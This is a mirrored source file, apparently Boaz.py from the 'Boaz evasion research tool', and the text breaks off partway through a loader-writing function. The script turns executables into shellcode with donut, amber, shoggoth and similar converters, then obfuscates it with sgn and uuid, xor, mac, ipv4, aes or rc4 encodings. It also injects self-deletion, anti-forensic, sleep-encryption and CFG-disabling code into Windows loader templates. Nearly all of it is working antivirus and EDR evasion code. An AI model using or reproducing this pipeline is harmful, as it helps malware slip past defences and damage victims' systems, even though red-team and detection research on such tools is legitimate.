mirror of
https://github.com/thomasxm/BOAZ_beta
synced 2026-06-06 16:54:29 +00:00
70a2709119
The option is available with: python3 Boaz.py -f ./notepad.exe -o ./boaz_output.exe -t augment -l 16 if using donut as PIC convertor, -t donut. using augmented loader: -t augment.
1765 lines
89 KiB
Python
1765 lines
89 KiB
Python
# Boaz evasion research tool main script
|
|
# Author: thomas XM
|
|
# Date 2023
|
|
#
|
|
# This file is part of the Boaz tool
|
|
# Copyright (c) 2019-2024 Thomas M
|
|
# Licensed under the GPLv3 or later.
|
|
#
|
|
import argparse
|
|
import subprocess
|
|
import os
|
|
import shutil
|
|
import re
|
|
import random
|
|
import string
|
|
import time
|
|
import glob
|
|
import sys
|
|
import hashlib
|
|
|
|
|
|
def in_docker():
|
|
"""Detect if running inside a Docker container."""
|
|
return os.path.exists('/.dockerenv') or \
|
|
'docker' in open('/proc/1/cgroup', 'rt').read()
|
|
|
|
# def in_docker():
|
|
# """Detect if running inside a Docker container."""
|
|
# if os.path.exists('/.dockerenv'):
|
|
# return True
|
|
|
|
# try:
|
|
# with open('/proc/1/cgroup', 'rt', encoding='utf-8') as f:
|
|
# return 'docker' in f.read()
|
|
# except Exception:
|
|
# return False
|
|
|
|
|
|
def run_cmd(cmd_list, **kwargs):
|
|
"""Run a command, stripping sudo if inside Docker."""
|
|
if in_docker() and cmd_list[0] == 'sudo':
|
|
cmd_list = cmd_list[1:] # remove 'sudo'
|
|
return subprocess.run(cmd_list, **kwargs)
|
|
|
|
|
|
def check_non_negative(value):
|
|
ivalue = int(value)
|
|
if ivalue < 0:
|
|
raise argparse.ArgumentTypeError("%s is an invalid non-negative int value" % value)
|
|
return ivalue
|
|
|
|
def generate_random_filename(length=6):
|
|
# Generate a random string of fixed length
|
|
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
|
|
|
|
## .bin input file
|
|
def handle_star_dust(input_file):
|
|
if not input_file.endswith('.bin'):
|
|
print("Warning, Stardust needs a binary shellcode file .bin as input")
|
|
# Exit the program if the input file is not a .bin file
|
|
sys.exit(1)
|
|
print(f"[!] Using Stardust to generate shellcode from binary file: {input_file}")
|
|
# Run bin_to_c_array.py to convert .bin to C array and save it to ./shellcode.txt
|
|
subprocess.run(['python3', 'encoders/bin_to_c_array.py', input_file, './shellcode.txt'], check=True)
|
|
|
|
# Read the generated ./shellcode.txt to find the shellcode
|
|
with open('./shellcode.txt', 'r') as file:
|
|
content = file.read()
|
|
|
|
# Find the position of "unsigned char buf[] ="
|
|
start = content.find('unsigned char buf[] =')
|
|
if start == -1:
|
|
print("Error: 'unsigned char buf[] =' not found in shellcode.txt")
|
|
return
|
|
|
|
start += len('unsigned char buf[] =')
|
|
end = content.find(';', start)
|
|
shellcode = content[start:end].strip()
|
|
|
|
## Make a copy of Stardust/src/Main.c
|
|
# subprocess.run(['cp', 'Stardust/src/Main.c', 'Stardust/src/Main.c.bak'], check=True)
|
|
subprocess.run(['cp', 'Stardust/src/Main.c.bak', 'Stardust/src/Main.c'], check=True)
|
|
|
|
# Replace the placeholder ####MAGICSPELL#### in Stardust/src/Main.c
|
|
stardust_main_path = 'Stardust/src/Main.c'
|
|
with open(stardust_main_path, 'r') as file:
|
|
main_content = file.read()
|
|
|
|
if '####MAGICSPELL####' not in main_content:
|
|
print("Error: '####MAGICSPELL####' placeholder not found in Stardust/src/Main.c")
|
|
return
|
|
|
|
main_content = main_content.replace('####MAGICSPELL####', shellcode)
|
|
|
|
# Write the updated content back to Stardust/src/Main.c
|
|
with open(stardust_main_path, 'w') as file:
|
|
file.write(main_content)
|
|
|
|
|
|
# Run `make` command in the /Stardust directory
|
|
subprocess.run(['make', '-C', './Stardust'], check=True)
|
|
|
|
#
|
|
# Copy the generated boaz.x64.bin to the current directory
|
|
subprocess.run(['cp', 'Stardust/bin/boaz.x64.bin', '.'], check=True)
|
|
# remove ./shellcode.txt after usage:
|
|
subprocess.run(['rm', './shellcode.txt'], check=True)
|
|
# copy the original backup file back to Stardust/src/Main.c
|
|
# subprocess.run(['cp', 'Stardust/src/Main.c.bak', 'Stardust/src/Main.c'], check=True)
|
|
|
|
|
|
# TODO:
|
|
def generate_shellcode(input_exe, output_path, shellcode_type, encode=False, encoding=None, star_dust=False):
|
|
if not star_dust:
|
|
# Generate the initial shellcode .bin file
|
|
# TODO: Add support for other shellcode types
|
|
if shellcode_type == 'donut':
|
|
cmd = ['./PIC/donut', '-b1', '-f1', '-i', input_exe, '-o', output_path + ".bin"]
|
|
elif shellcode_type == 'pe2sh':
|
|
cmd = ['wine', './PIC/pe2shc.exe', input_exe, output_path + ".bin"]
|
|
elif shellcode_type == 'rc4':
|
|
cmd = ['wine', './PIC/rc4_x64.exe', input_exe, output_path + ".bin", '-r']
|
|
if subprocess.run(cmd, check=False, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL).returncode != 0:
|
|
# If rc4_x64.exe fails, try with rc4_x86.exe for 32-bit payloads
|
|
cmd = ['wine', '/PIC/rc4_x86.exe', input_exe, output_path + ".bin", '-r']
|
|
elif shellcode_type == 'amber':
|
|
a_number = random.randint(1, 30)
|
|
# print(f"Encoding number: {a_number}")
|
|
cmd = ['./PIC/amber', '-e', str(a_number), '--iat', '--scrape', '-f', input_exe, '-o', output_path + ".bin"]
|
|
elif shellcode_type == 'shoggoth':
|
|
cmd = ['wine', './PIC/shoggoth.exe', '-v', '-i', input_exe, '-o', output_path + ".bin", '--mode', 'pe']
|
|
####
|
|
elif shellcode_type == 'augment':
|
|
# 1) Dump the in-memory layout from the PE (PIC-friendly base) to a temp file
|
|
import os
|
|
temp_output = output_path + ".infl.tmp"
|
|
cmd1 = ['wine', './PIC/DumpPEFromMemory.exe', input_exe, temp_output]
|
|
r1 = subprocess.run(cmd1)
|
|
if r1.returncode != 0:
|
|
raise RuntimeError(f"[-] DumpPEFromMemory failed with rc={r1.returncode}")
|
|
|
|
# 2) Generate shellcode from the dumped image using augmentedLoader.py
|
|
final_output = output_path + ".bin"
|
|
cmd = ['python3', './PIC/augmentedLoader.py',
|
|
'-f', temp_output,
|
|
'-e', 'false',
|
|
'-o', 'true',
|
|
'-b', final_output]
|
|
|
|
#
|
|
else:
|
|
raise ValueError("[-] Unsupported shellcode type.")
|
|
|
|
# Run the initial shellcode generation command
|
|
# subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
|
# run the above command but do not supress output:
|
|
subprocess.run(cmd, check=True)
|
|
# print the shellcode type used:
|
|
print(f"[+] Shellcode type used: {shellcode_type}")
|
|
# if shellcode_type == 'augment':
|
|
# # # cleanup temp
|
|
# try:
|
|
# os.remove(temp_output)
|
|
# except OSError:
|
|
# pass
|
|
|
|
elif star_dust:
|
|
output_path = input_exe
|
|
# print output_path
|
|
print(f"[+] Shellcode saved to: {output_path}")
|
|
### TODO: add support for stardust option:
|
|
|
|
# If encode flag is True, use sgn to encode the shellcode
|
|
if encode:
|
|
random_count = random.randint(1, 100) # Generate a random count between 1 and 100
|
|
encoded_output_path = output_path + "1.bin" # Specify the encoded output file path
|
|
encode_cmd = ['./encoders/sgn', '-a', '64', '-S', '--enc=20', '-v', '-i', output_path + ".bin", '-o', encoded_output_path]
|
|
# encode_cmd = ['./sgn', '-a', '64', '-v', '-c', str(random_count), '-i', output_path + ".bin", '-o', encoded_output_path]
|
|
try:
|
|
subprocess.run(encode_cmd, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
|
# subprocess.run(encode_cmd, check=True)
|
|
print(f"[+] Shellcode successfully encoded with {random_count} iterations.")
|
|
print(f"[!] Encoded shellcode saved to: {encoded_output_path}")
|
|
except subprocess.CalledProcessError:
|
|
print("[-] Shellcode encoding failed.")
|
|
output_path_bin = encoded_output_path
|
|
else:
|
|
# If not encoding, keep using the original .bin file
|
|
output_path_bin = output_path + ".bin"
|
|
|
|
if encoding:
|
|
encoding_output_path = output_path.replace(".bin", "")
|
|
## TODO: Add support for other encoding types
|
|
if encoding == 'uuid':
|
|
cmd = ['python3', './encoders/bin2uuid.py', output_path_bin, '>', encoding_output_path]
|
|
if encoding == 'xor':
|
|
cmd = ['python3', './encoders/bin2xor.py', output_path_bin, '>', encoding_output_path]
|
|
elif encoding == 'mac':
|
|
cmd = ['python3', './encoders/bin2mac.py', output_path_bin, '>', encoding_output_path]
|
|
elif encoding == 'ipv4':
|
|
cmd = ['python3', './encoders/bin2ipv4.py', output_path_bin, '>', encoding_output_path]
|
|
elif encoding == 'base45':
|
|
cmd = ['python3', './encoders/bin2base45.py', output_path_bin, '>', encoding_output_path]
|
|
elif encoding == 'base64':
|
|
cmd = ['python3', './encoders/bin2base64.py', output_path_bin, '>', encoding_output_path]
|
|
elif encoding == 'base58':
|
|
cmd = ['python3', './encoders/bin2base58.py', output_path_bin, '>', encoding_output_path]
|
|
elif encoding == 'aes':
|
|
cmd = ['python3', './encoders/bin2aes.py', output_path_bin, '>', encoding_output_path]
|
|
elif encoding == 'aes2':
|
|
cmd = ['python3', './encoders/bin2aes.py', output_path_bin, '>', encoding_output_path]
|
|
elif encoding == 'des':
|
|
cmd = ['python3', './encoders/bin2des.py', output_path_bin, '>', encoding_output_path]
|
|
elif encoding == 'chacha':
|
|
cmd = ['python3', './encoders/bin2chacha.py', output_path_bin, '>', encoding_output_path]
|
|
elif encoding == 'ascon':
|
|
cmd = ['python3', './encoders/bin2ascon.py', output_path_bin, '>', encoding_output_path]
|
|
elif encoding == 'rc4':
|
|
cmd = ['python3', './encoders/bin2rc4.py', output_path_bin, '>', encoding_output_path]
|
|
subprocess.run(' '.join(cmd), shell=True, check=True)
|
|
output_path = encoding_output_path
|
|
print(f"[+] Shellcode encoded with {encoding} and saved to: {output_path}")
|
|
else:
|
|
# Process the .bin file to a C char array if not using UUID
|
|
process_cmd = ['python3', './encoders/bin_to_c_array.py', output_path_bin, output_path]
|
|
subprocess.run(process_cmd, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
|
|
|
# # Process the .bin file (encoded or original) to a C char array
|
|
# process_cmd = ['python3', 'bin_to_c_array.py', output_path_bin, output_path]
|
|
# subprocess.run(process_cmd, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
|
|
|
def read_shellcode(file_path):
|
|
with open(file_path, 'r') as file:
|
|
content = file.read()
|
|
# Extract the shellcode from the file content
|
|
start = content.find('unsigned char buf[] = ') + len('unsigned char buf[] = ')
|
|
end = content.rfind(';')
|
|
shellcode = content[start:end].strip()
|
|
return shellcode
|
|
|
|
# def insert_junk_api_calls(content, junk_api, main_func_pattern):
|
|
# if not junk_api:
|
|
# return content
|
|
|
|
# # Add the include statement at the top
|
|
# content = '#include "normal_api.h"\n' + content
|
|
|
|
# # Find the main function's scope
|
|
# # main_func_pattern = r'\bint\s+main\s*\([^)]*\)\s*\{'
|
|
# match = re.search(main_func_pattern, content, re.MULTILINE)
|
|
# if match:
|
|
# start_pos = match.end()
|
|
# # Find the position of the closing brace for main
|
|
# end_pos = content.rfind('}', start_pos)
|
|
# if end_pos == -1:
|
|
# end_pos = len(content)
|
|
|
|
# # Attempt to find "safe" lines by avoiding lines immediately following an opening brace or leading into a closing brace
|
|
# lines = content[start_pos:end_pos].split('\n')
|
|
# safe_lines = [i for i, line in enumerate(lines) if '{' not in line and '}' not in line and line.strip() != '']
|
|
|
|
# if safe_lines:
|
|
# # Choose a random line index from the safe ones, avoiding first and last line
|
|
# chosen_line_index = random.choice(safe_lines[1:-1])
|
|
# # Construct the modified content
|
|
# indentation = ' '
|
|
# modified_line = f"{indentation}executeAPIFunction();\n{lines[chosen_line_index]}"
|
|
# lines[chosen_line_index] = modified_line
|
|
|
|
# # Reconstruct the content with the inserted call
|
|
# content = content[:start_pos] + '\n'.join(lines) + content[end_pos:]
|
|
|
|
# return content
|
|
|
|
|
|
def insert_junk_api_calls(content, junk_api, main_func_pattern):
|
|
if not junk_api:
|
|
return content
|
|
|
|
# Adding the include at the top if not already included
|
|
if '#include "normal_api.h"' not in content:
|
|
content = '#include "normal_api.h"\n' + content
|
|
|
|
# Find the opening of the main function
|
|
main_start = re.search(main_func_pattern, content, re.MULTILINE)
|
|
if main_start:
|
|
# Find the index just after the opening brace of the main function
|
|
open_brace_index = content.find('{', main_start.end()) + 1
|
|
if open_brace_index > 0:
|
|
# Find the end of the first complete statement after the opening brace
|
|
statement_end = content.find(';', open_brace_index)
|
|
if statement_end > 0:
|
|
# Insert the API call after the first complete statement
|
|
insert_position = statement_end + 1
|
|
content = content[:insert_position] + '\n executeAPIFunction();\n' + content[insert_position:]
|
|
|
|
return content
|
|
|
|
|
|
|
|
### Self_deletion function for output binaries:
|
|
def insert_self_deletion(content):
|
|
"""Modifies the given C/C++ source code by injecting a self-deletion function after the ####END#### marker."""
|
|
|
|
# Ensure the include directive is present at the top
|
|
if '#include "self_deletion.h"' not in content:
|
|
content = '#include "self_deletion.h"\n' + content
|
|
|
|
# Locate the placeholder and insert `perform();` after it
|
|
lines = content.splitlines()
|
|
updated_lines = []
|
|
placeholder_found = False
|
|
|
|
for i, line in enumerate(lines):
|
|
updated_lines.append(line) # Add the current line as is
|
|
|
|
# If we find the placeholder, insert `perform();` after it
|
|
if re.search(r'//?\s*####END####', line):
|
|
updated_lines.append(' perform();') # Insert after, preserving indentation
|
|
placeholder_found = True
|
|
|
|
# Warning if the placeholder was not found
|
|
if not placeholder_found:
|
|
print("Warning: '####END####' placeholder not found. Appending 'perform();' at the end.")
|
|
updated_lines.append('perform();')
|
|
|
|
return "\n".join(updated_lines)
|
|
|
|
|
|
# Insert anti-forensic function into the template by locating the place holder ####END#### which is placed before the code exeuction.
|
|
def insert_anti_forensic(content):
|
|
"""Insert anti_forensic() after the ####END#### marker."""
|
|
|
|
# Ensure the include directive is present at the top
|
|
if '#include "anti_forensic.h"' not in content:
|
|
content = '#include "anti_forensic.h"\n' + content
|
|
|
|
# Locate the placeholder and insert `anti_forensic();` after it
|
|
lines = content.splitlines()
|
|
updated_lines = []
|
|
placeholder_found = False
|
|
|
|
for i, line in enumerate(lines):
|
|
updated_lines.append(line) # Add the current line as is
|
|
|
|
# If we find the placeholder, insert `anti_forensic();` after it
|
|
if re.search(r'//?\s*####END####', line):
|
|
updated_lines.append(' anti_forensic();') # Insert with indentation
|
|
placeholder_found = True
|
|
|
|
# Warning if the placeholder was not found
|
|
if not placeholder_found:
|
|
print("Warning: '####END####' placeholder not found. Appending 'anti_forensic();' at the end.")
|
|
updated_lines.append('anti_forensic();')
|
|
|
|
return "\n".join(updated_lines)
|
|
|
|
|
|
def insert_cfg_patch(content, main_func_pattern):
|
|
# Add the include statement for CFG patch at the top of the file
|
|
if '#include "cfg_patch.h"' not in content:
|
|
content = '#include "cfg_patch.h"\n' + content
|
|
|
|
# Find the main function
|
|
main_match = re.search(main_func_pattern, content, re.MULTILINE)
|
|
if not main_match:
|
|
print("Error: Main function not found.")
|
|
return content
|
|
|
|
# Get the portion of the content after the main function starts
|
|
content_after_main = content[main_match.end():]
|
|
|
|
# Find all CreateProcess and OpenProcess function calls
|
|
create_process_matches = list(re.finditer(r'\b[A-Za-z_]*CreateProcess[A-Za-z_]*\s*\(.*?\)\s*;', content_after_main, re.DOTALL))
|
|
open_process_matches = list(re.finditer(r'\b[A-Za-z_]*OpenProcess[A-Za-z_]*\s*\(.*?\)\s*;', content_after_main, re.DOTALL))
|
|
|
|
# Process matches for CreateProcess and OpenProcess
|
|
insert_positions = []
|
|
for match in create_process_matches + open_process_matches:
|
|
# Get the insert position after the function call (semicolon is included)
|
|
insert_pos = match.end()
|
|
|
|
# Find the process handle used (pi.hProcess or hProcess)
|
|
handle_pattern = r'\bpi\.hProcess\b|\bhProcess\b'
|
|
handle_match = re.search(handle_pattern, content_after_main[:insert_pos])
|
|
|
|
# Determine which handle to use, or default to pi.hProcess
|
|
process_handle = handle_match.group(0) if handle_match else "pi.hProcess"
|
|
|
|
# Ensure valid insertion after the complete function call
|
|
insert_positions.append((insert_pos, process_handle))
|
|
|
|
if insert_positions:
|
|
# Insert patchCFG() after each CreateProcess or OpenProcess
|
|
for insert_pos, process_handle in sorted(insert_positions, reverse=True):
|
|
# Insert patchCFG outside the function call block
|
|
cfg_patch_code = f'\n patchCFG({process_handle});\n printf("[+] CFG guard disabled.\\n");\n printf("[+] Press any key to continue\\n");\n getchar();\n'
|
|
content_after_main = content_after_main[:insert_pos] + cfg_patch_code + content_after_main[insert_pos:]
|
|
|
|
# Reconstruct the content after making the insertions
|
|
content = content[:main_match.end()] + content_after_main
|
|
else:
|
|
# If no CreateProcess or OpenProcess, insert at the beginning of the main function after variable declarations
|
|
print("No CreateProcess or OpenProcess found. Inserting patchCFG(GetCurrentProcess()) at the beginning of main().")
|
|
|
|
# Insert after the variable declarations in the main function
|
|
insert_pos = content_after_main.find(';') + 1 # Insert after the first semicolon (end of first declaration)
|
|
if insert_pos > 0:
|
|
cfg_patch_code = '\n patchCFG(GetCurrentProcess());\n printf("[+] CFG guard disabled.\\n");\n printf("[+] Press any key to continue\\n");\n getchar();\n'
|
|
content_after_main = content_after_main[:insert_pos] + cfg_patch_code + content_after_main[insert_pos:]
|
|
content = content[:main_match.end()] + content_after_main
|
|
else:
|
|
print("Error: Failed to find valid insertion point for CFG patch.")
|
|
|
|
return content
|
|
|
|
|
|
|
|
# def write_loader(loader_template_path, shellcode, shellcode_file, shellcode_type, output_path, sleep_flag, anti_emulation, junk_api, api_unhooking, god_speed, encoding=None, dream_time=None, file_name=None, etw=False, compile_as_dll=False, compile_as_cpl = False, compile_as_exe = False, compile_as_scr = False, compile_as_sys = False, compile_as_dll = False, compile_as_drv = False, compile_as_ocx = False, compile_as_tlb = False, compile_as_tsp = False, compile_as_msc = False, compile_as_msi = False, compile_as_msp = False, compile_as_mst)
|
|
def write_loader(loader_template_path, shellcode, shellcode_file, shellcode_type, output_path, sleep_flag, anti_emulation, junk_api, api_unhooking, god_speed, encoding=None, dream_time=None, file_name=None, etw=False, compile_as_dll=False, compile_as_cpl = False, star_dust = False, self_deletion=False, anti_forensic=False, cfg=False):
|
|
|
|
# Adjust loader_template_path for DLL
|
|
if compile_as_dll:
|
|
loader_template_path = loader_template_path.replace('.c', '.dll.c')
|
|
# Pattern for the DLL's entry function, need regex to replace this dumb form
|
|
main_func_pattern = r"void CALLBACK ExecuteMagiccode\(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow\) \{"
|
|
elif compile_as_cpl:
|
|
loader_template_path = loader_template_path.replace('.c', '.cpl.c')
|
|
# Pattern for the CPL's entry function
|
|
main_func_pattern = r"LONG CALLBACK CPlApplet\(HWND hwndCPl, UINT uMsg, LPARAM lParam1, LPARAM lParam2\) \{"
|
|
else:
|
|
# Pattern for the standard main function in EXE
|
|
main_func_pattern = r"\bint\s+main\s*\([^)]*\)\s*\{"
|
|
|
|
with open(loader_template_path, 'r') as file:
|
|
content = file.read()
|
|
|
|
|
|
# Insert sleep encryption if dream flag is used
|
|
if dream_time is not None:
|
|
# Include the sleep_encrypt header
|
|
content = '#include "sleep_encrypt.h"\n' + content
|
|
### statement to indicate to user that sweet dream is being used:
|
|
print(f"SweetDream is being used with a dream time of {dream_time/1000} seconds.\n")
|
|
# Find the main function and insert SweetSleep call
|
|
# main_func_pattern = r'\bint\s+main\s*\([^)]*\)\s*\{'
|
|
match = re.search(main_func_pattern, content, re.MULTILINE)
|
|
if match:
|
|
insert_pos = match.end()
|
|
newline_pos = content.find('\n', insert_pos)
|
|
if newline_pos != -1:
|
|
next_line_start = newline_pos + 1
|
|
sweet_sleep_call = f' printf("[+] Encrypting Heaps/Stacks ...\\n\\n\\n");\n SweetSleep({dream_time});\n'
|
|
content = content[:next_line_start] + sweet_sleep_call + content[next_line_start:]
|
|
|
|
if (encoding is not None):
|
|
if not star_dust:
|
|
encoded_output_path = f'note_{shellcode_type}' #
|
|
elif star_dust:
|
|
encoded_output_path = f'boaz.x64' #
|
|
## TODO: Add support for other encoding types
|
|
if encoding == 'uuid':
|
|
include_header = '#include "uuid_converter.h"\n'
|
|
elif encoding == 'xor':
|
|
include_header = '#include "xor_converter.h"\n'
|
|
elif encoding == 'mac':
|
|
include_header = '#include "mac_converter.h"\n'
|
|
elif encoding == 'ipv4':
|
|
include_header = '#include "ipv4_converter.h"\n'
|
|
elif encoding == 'base45':
|
|
include_header = '#include "base45_converter.h"\n'
|
|
elif encoding == 'base64':
|
|
include_header = '#include "base64_converter.h"\n'
|
|
elif encoding == 'base58':
|
|
include_header = '#include "base58_converter.h"\n'
|
|
elif encoding == 'aes':
|
|
include_header = '#include "aes_converter.h"\n'
|
|
elif encoding == 'aes2':
|
|
include_header = '#include "aes2_converter.h"\n'
|
|
elif encoding == 'des':
|
|
include_header = '#include "des_converter.h"\n'
|
|
elif encoding == 'chacha':
|
|
include_header = '#include "chacha_converter.h"\n'
|
|
elif encoding == 'ascon':
|
|
include_header = '#include "ascon_converter.h"\n'
|
|
elif encoding == 'rc4':
|
|
include_header = '#include "rc4_converter.h"\n'
|
|
else:
|
|
# Default to uuid if not specified for backward compatibility
|
|
include_header = '#include "uuid_converter.h"\n'
|
|
encoding = 'uuid'
|
|
|
|
with open(encoded_output_path, 'r') as encoded_file:
|
|
encoded_content = encoded_file.read()
|
|
|
|
encoded_insertion = f"\n// {encoding.upper()}s generated from magic \n" + encoded_content
|
|
magiccode_declaration = 'unsigned char magiccode[] ='
|
|
|
|
if magiccode_declaration in content:
|
|
content = content.replace(magiccode_declaration, '')
|
|
placeholder = '####SHELLCODE####'
|
|
if placeholder in content:
|
|
content = content.replace(placeholder, encoded_insertion)
|
|
else:
|
|
if compile_as_dll:
|
|
# Find the position of the closing brace for the DLL's entry function
|
|
# main_index = content.find('void CALLBACK ExecuteMagiccode')
|
|
main_index = content.find('void CALLBACK ExecuteMagiccode(')
|
|
elif compile_as_cpl:
|
|
main_index = content.find('LONG CALLBACK CPlApplet(')
|
|
else:
|
|
main_index = content.find('int main')
|
|
if main_index != -1:
|
|
content = content[:main_index] + encoded_insertion + "\n" + content[main_index:]
|
|
# content = content[:main_index] + encoded_insertion + "\n" + content[main_index:]
|
|
|
|
content = include_header + content
|
|
if compile_as_dll:
|
|
main_func_index = content.find('void CALLBACK ExecuteMagiccode(')
|
|
elif compile_as_cpl:
|
|
main_func_index = content.find('LONG CALLBACK CPlApplet(')
|
|
else:
|
|
main_func_index = content.find('int main(')
|
|
if main_func_index != -1:
|
|
opening_brace_index_main = content.find('{', main_func_index) + 1
|
|
|
|
### TODO:
|
|
if encoding == 'uuid':
|
|
encoding_declaration_index = content.find('const char* UUIDs[]')
|
|
conversion_logic_template = """
|
|
constexpr int numUuids = sizeof(UUIDs) / sizeof(UUIDs[0]);
|
|
unsigned char magiccode[numUuids * 16];
|
|
unsigned char* magiccodePtr = magiccode;
|
|
convertUUIDsToMagicCode(UUIDs, magiccodePtr, numUuids);
|
|
printf("[+] MagicCodePtr size: %zu bytes\\n", sizeof(magiccodePtr));
|
|
printf("[+] size of magiccode: %zu bytes\\n", sizeof(magiccode));
|
|
"""
|
|
elif encoding == 'xor':
|
|
encoding_declaration_index = content.find('unsigned char XORed[]')
|
|
conversion_logic_template = """
|
|
size_t dataSize = sizeof(XORed) / sizeof(XORed[0]);
|
|
unsigned char magiccode[dataSize];
|
|
xorDecode(XORed, magiccode, dataSize, XORkey);
|
|
printf("[+] size of magiccode: %lu bytes\\n", sizeof(magiccode));
|
|
printf("[+] datasize : %lu bytes\\n", dataSize);
|
|
"""
|
|
elif encoding == 'mac':
|
|
encoding_declaration_index = content.find('const char* MAC[]')
|
|
conversion_logic_template = """
|
|
constexpr int numMac = sizeof(MAC) / sizeof(MAC[0]);
|
|
unsigned char magiccode[numMac * 6];
|
|
unsigned char* magiccodePtr = magiccode;
|
|
CustomEthernetStringToAddressArray(MAC, numMac, magiccode);
|
|
printf("[+] MagicCodePtr size: %lu bytes\\n", sizeof(magiccodePtr));
|
|
printf("[+] size of magiccode: %lu bytes\\n", sizeof(magiccode));
|
|
"""
|
|
elif encoding == 'ipv4':
|
|
encoding_declaration_index = content.find('const char* IPv4s[]')
|
|
conversion_logic_template = """
|
|
constexpr int numIpv4 = sizeof(IPv4s) / sizeof(IPv4s[0]);
|
|
unsigned char magiccode[numIpv4 * 4];
|
|
unsigned char* magiccodePtr = magiccode;
|
|
convertIPv4sToMagicCode(IPv4s, magiccodePtr, numIpv4);
|
|
printf("[+] MagicCodePtr size: %lu bytes\\n", sizeof(magiccodePtr));
|
|
printf("[+] size of magiccode: %lu bytes\\n", sizeof(magiccode));
|
|
"""
|
|
elif encoding == 'base45':
|
|
encoding_declaration_index = content.find('const char base45[]')
|
|
conversion_logic_template = """
|
|
DWORD decodedSize = CalculateBase45DecodedSize(base45);
|
|
unsigned char magiccode[decodedSize];
|
|
unsigned char* magiccodePtr = magiccode;
|
|
if (CustomBase45ToBinary(base45, strlen(base45), magiccodePtr, &decodedSize)) {
|
|
printf("Failed to decode base45 string\\n");
|
|
}
|
|
printf("[+] MagicCodePtr size: %lu bytes\\n", sizeof(magiccodePtr));
|
|
printf("[+] size of magiccode: %lu bytes\\n", sizeof(magiccode));
|
|
"""
|
|
elif encoding == 'base64':
|
|
encoding_declaration_index = content.find('const char base64[]')
|
|
conversion_logic_template = """
|
|
DWORD decodedSize = CalculateDecodedSize(base64);
|
|
unsigned char magiccode[decodedSize];
|
|
unsigned char* magiccodePtr = magiccode;
|
|
if (!CustomCryptStringToBinaryA(base64, strlen(base64), magiccodePtr, &decodedSize)) {
|
|
printf("Failed to decode base64 string\\n");
|
|
}
|
|
printf("[+] MagicCodePtr size: %lu bytes\\n", sizeof(magiccodePtr));
|
|
printf("[+] size of magiccode: %lu bytes\\n", sizeof(magiccode));
|
|
"""
|
|
elif encoding == 'base58':
|
|
encoding_declaration_index = content.find('const char base58[]')
|
|
conversion_logic_template = """
|
|
DWORD decodedSize = CalculateDecodedSizeBase58(base58);
|
|
unsigned char magiccode[decodedSize];
|
|
unsigned char* magiccodePtr = magiccode;
|
|
if (!CustomCryptStringToBinaryA(base58, strlen(base58), magiccodePtr, &decodedSize)) {
|
|
printf("Failed to decode base58 string\\n");
|
|
}
|
|
printf("[+] MagicCodePtr size: %lu bytes\\n", sizeof(magiccodePtr));
|
|
printf("[+] size of magiccode: %lu bytes\\n", sizeof(magiccode));
|
|
"""
|
|
elif encoding == 'aes':
|
|
encoding_declaration_index = content.find('unsigned char magiccode[]')
|
|
conversion_logic_template = """
|
|
DWORD aes_length = sizeof(magiccode);
|
|
|
|
DecryptAES((char*)magiccode, aes_length, AESkey, sizeof(AESkey));
|
|
|
|
printf("[+] size of magiccode: %lu bytes\\n", sizeof(magiccode));
|
|
"""
|
|
elif encoding == 'des':
|
|
encoding_declaration_index = content.find('unsigned char magic_code[]')
|
|
conversion_logic_template = """
|
|
size_t magic_len = sizeof(magic_code);
|
|
unsigned char magiccode[magic_len];
|
|
int result_des = des_magic(magic_code, magic_len, magiccode);
|
|
"""
|
|
elif encoding == 'chacha':
|
|
encoding_declaration_index = content.find('unsigned char magic_code[]')
|
|
conversion_logic_template = """
|
|
int lenMagicCode = sizeof(magic_code);
|
|
|
|
unsigned char magiccode[lenMagicCode];
|
|
|
|
test_decryption();
|
|
|
|
chacha20_encrypt(magiccode, magic_code, lenMagicCode, CHACHA20key, CHACHA20nonce, 1);
|
|
|
|
// print_decrypted_result(magiccode, lenMagicCode);
|
|
printf("\\n");
|
|
"""
|
|
elif encoding == 'rc4':
|
|
encoding_declaration_index = content.find('unsigned char magiccode[]')
|
|
conversion_logic_template = """
|
|
//unsigned char magiccode[sizeof(magic_code)];
|
|
//memcpy(magiccode, magic_code, sizeof(magic_code));
|
|
|
|
const char sysfunc32Char[] = { 'S', 'y', 's', 't', 'e', 'm', 'F', 'u', 'n', 'c', 't', 'i', 'o', 'n', '0', '3', '2', 0 };
|
|
const char advdll[] = { 'a', 'd', 'v', 'a', 'p', 'i', '3', '2', '.', 'd', 'l', 'l', 0 };
|
|
initialize_keys();
|
|
initialize_data((unsigned char*)magiccode, sizeof(magiccode));
|
|
|
|
sysfunc32 = (SystemFunction032_t)GetProcAddress(LoadLibrary(advdll), sysfunc32Char);
|
|
NTSTATUS eny = sysfunc32(&pData, &pKey);
|
|
|
|
if(eny != STATUS_SUCCESS) {
|
|
printf("[-] sysfunc32 failed to decrypt the data. Status: %x\\n", eny);
|
|
} else {
|
|
printf("[+] sysfunc32 succeeded to decrypt the data.\\n");
|
|
}
|
|
|
|
// sanity check
|
|
// Print first and last 10 bytes of magiccode
|
|
printf("magiccode (first 10 bytes): ");
|
|
for (int i = 0; i < 10; i++) {
|
|
printf("%02X ", ((unsigned char*)pData.Buffer)[i]);
|
|
}
|
|
printf("\\n");
|
|
|
|
printf("magiccode (last 10 bytes): ");
|
|
for (int i = (pData.Length - 10); i < pData.Length; i++) {
|
|
printf("%02X ", ((unsigned char*)pData.Buffer)[i]);
|
|
}
|
|
printf("\\n");
|
|
|
|
"""
|
|
elif encoding == 'ascon':
|
|
encoding_declaration_index = content.find('unsigned char magic_code[]')
|
|
conversion_logic_template = """
|
|
SIZE_T lenMagicCode = sizeof(magic_code);
|
|
unsigned char magiccode[lenMagicCode];
|
|
|
|
cast6_decrypt(magic_code, lenMagicCode, CAST6key, magiccode);
|
|
|
|
print_hex("magic code:", magiccode, lenMagicCode);
|
|
|
|
printf("\\n");
|
|
"""
|
|
elif encoding == 'aes2':
|
|
encoding_declaration_index = content.find('unsigned char magiccode[]')
|
|
conversion_logic_template = (
|
|
" DWORD aes_length = sizeof(magiccode);\n"
|
|
" unsigned int half_length = aes_length / 2; \n"
|
|
